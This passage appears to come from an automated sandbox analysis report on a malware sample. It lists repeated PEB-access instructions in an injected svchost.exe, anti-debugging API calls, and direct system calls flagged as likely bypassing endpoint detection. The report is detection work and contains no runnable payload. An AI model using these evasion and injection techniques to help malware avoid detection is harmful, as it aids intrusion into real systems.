            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]2_2_0326C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]2_2_0326C5ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]2_2_0326E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]2_2_0326E5CF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032365D0 mov eax, dword ptr fs:[00000030h]2_2_032365D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]2_2_0326A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]2_2_0326A5D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]2_2_0322E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]2_2_0322E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]2_2_0322E420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322C427 mov eax, dword ptr fs:[00000030h]2_2_0322C427
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]2_2_032B6420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A430 mov eax, dword ptr fs:[00000030h]2_2_0326A430
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]2_2_03268402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]2_2_03268402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]2_2_03268402
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BC460 mov ecx, dword ptr fs:[00000030h]2_2_032BC460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]2_2_0325A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]2_2_0325A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]2_2_0325A470
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]2_2_0326E443
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EA456 mov eax, dword ptr fs:[00000030h]2_2_032EA456
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322645D mov eax, dword ptr fs:[00000030h]2_2_0322645D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325245A mov eax, dword ptr fs:[00000030h]2_2_0325245A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032364AB mov eax, dword ptr fs:[00000030h]2_2_032364AB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032644B0 mov ecx, dword ptr fs:[00000030h]2_2_032644B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BA4B0 mov eax, dword ptr fs:[00000030h]2_2_032BA4B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EA49A mov eax, dword ptr fs:[00000030h]2_2_032EA49A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032304E5 mov ecx, dword ptr fs:[00000030h]2_2_032304E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]2_2_0325EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]2_2_0325EB20
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]2_2_032F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]2_2_032F8B28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304B00 mov eax, dword ptr fs:[00000030h]2_2_03304B00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]2_2_032AEB1D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322CB7E mov eax, dword ptr fs:[00000030h]2_2_0322CB7E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]2_2_032E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]2_2_032E4B4B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]2_2_03302B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]2_2_03302B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]2_2_03302B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03302B57 mov eax, dword ptr fs:[00000030h]2_2_03302B57
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]2_2_032C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]2_2_032C6B40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FAB40 mov eax, dword ptr fs:[00000030h]2_2_032FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D8B42 mov eax, dword ptr fs:[00000030h]2_2_032D8B42
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228B50 mov eax, dword ptr fs:[00000030h]2_2_03228B50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DEB50 mov eax, dword ptr fs:[00000030h]2_2_032DEB50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]2_2_03240BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]2_2_03240BBE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]2_2_032E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]2_2_032E4BB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]2_2_03238BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]2_2_03238BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]2_2_03238BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325EBFC mov eax, dword ptr fs:[00000030h]2_2_0325EBFC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BCBF0 mov eax, dword ptr fs:[00000030h]2_2_032BCBF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]2_2_03250BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]2_2_03250BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]2_2_03250BCB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]2_2_03230BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]2_2_03230BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]2_2_03230BCD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DEBD0 mov eax, dword ptr fs:[00000030h]2_2_032DEBD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326CA24 mov eax, dword ptr fs:[00000030h]2_2_0326CA24
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325EA2E mov eax, dword ptr fs:[00000030h]2_2_0325EA2E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]2_2_03254A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]2_2_03254A35
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326CA38 mov eax, dword ptr fs:[00000030h]2_2_0326CA38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BCA11 mov eax, dword ptr fs:[00000030h]2_2_032BCA11
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]2_2_0326CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]2_2_0326CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]2_2_0326CA6F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DEA60 mov eax, dword ptr fs:[00000030h]2_2_032DEA60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]2_2_032ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]2_2_032ACA72
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]2_2_03236A50
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]2_2_03240A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]2_2_03240A5B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]2_2_03238AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]2_2_03238AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03286AA4 mov eax, dword ptr fs:[00000030h]2_2_03286AA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]2_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304A80 mov eax, dword ptr fs:[00000030h]2_2_03304A80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03268A90 mov edx, dword ptr fs:[00000030h]2_2_03268A90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]2_2_0326AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]2_2_0326AAEE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]2_2_03286ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]2_2_03286ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]2_2_03286ACC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230AD0 mov eax, dword ptr fs:[00000030h]2_2_03230AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]2_2_03264AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]2_2_03264AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B892A mov eax, dword ptr fs:[00000030h]2_2_032B892A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C892B mov eax, dword ptr fs:[00000030h]2_2_032C892B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]2_2_032AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]2_2_032AE908
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BC912 mov eax, dword ptr fs:[00000030h]2_2_032BC912
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]2_2_03228918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]2_2_03228918
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]2_2_03256962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]2_2_03256962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]2_2_03256962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]2_2_0327096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327096E mov edx, dword ptr fs:[00000030h]2_2_0327096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]2_2_0327096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]2_2_032D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]2_2_032D4978
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BC97C mov eax, dword ptr fs:[00000030h]2_2_032BC97C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B0946 mov eax, dword ptr fs:[00000030h]2_2_032B0946
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03304940 mov eax, dword ptr fs:[00000030h]2_2_03304940
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]2_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]2_2_032309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]2_2_032309AD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B89B3 mov esi, dword ptr fs:[00000030h]2_2_032B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]2_2_032B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]2_2_032B89B3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BE9E0 mov eax, dword ptr fs:[00000030h]2_2_032BE9E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]2_2_032629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]2_2_032629F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C69C0 mov eax, dword ptr fs:[00000030h]2_2_032C69C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]2_2_0323A9D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032649D0 mov eax, dword ptr fs:[00000030h]2_2_032649D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FA9D3 mov eax, dword ptr fs:[00000030h]2_2_032FA9D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov ecx, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]2_2_03252835
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A830 mov eax, dword ptr fs:[00000030h]2_2_0326A830
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]2_2_032D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]2_2_032D483A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BC810 mov eax, dword ptr fs:[00000030h]2_2_032BC810
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BE872 mov eax, dword ptr fs:[00000030h]2_2_032BE872
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,RtlAllocateHeap,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,0_2_004238DA
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0041F250 SetUnhandledExceptionFilter,0_2_0041F250
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0041A208
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00417DAA

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtWriteVirtualMemory: Direct from: 0x77762E3CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtMapViewOfSection: Direct from: 0x77762D1CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtNotifyChangeKey: Direct from: 0x77763C2CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtCreateMutant: Direct from: 0x777635CCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtResumeThread: Direct from: 0x777636ACJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtProtectVirtualMemory: Direct from: 0x77757B2EJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQuerySystemInformation: Direct from: 0x77762DFCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtAllocateVirtualMemory: Direct from: 0x77762BFCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtReadFile: Direct from: 0x77762ADCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtDelayExecution: Direct from: 0x77762DDCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtWriteVirtualMemory: Direct from: 0x7776490CJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtQueryInformationProcess: Direct from: 0x77762C26Jump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtResumeThread: Direct from: 0x77762FBCJump to behavior
            Source: C:\Program Files (x86)\WTxtoIHnwgYQnMauPcJdJlcdhoLvMzBRBwfYcbyutNlTfhPKsepkKmlKAsefUSVxgYQEoQLZSaAhnGS\EthPSueuMbeZ.exeNtCreateUserProcess: Direct from: 0x7776371CJump to behavior
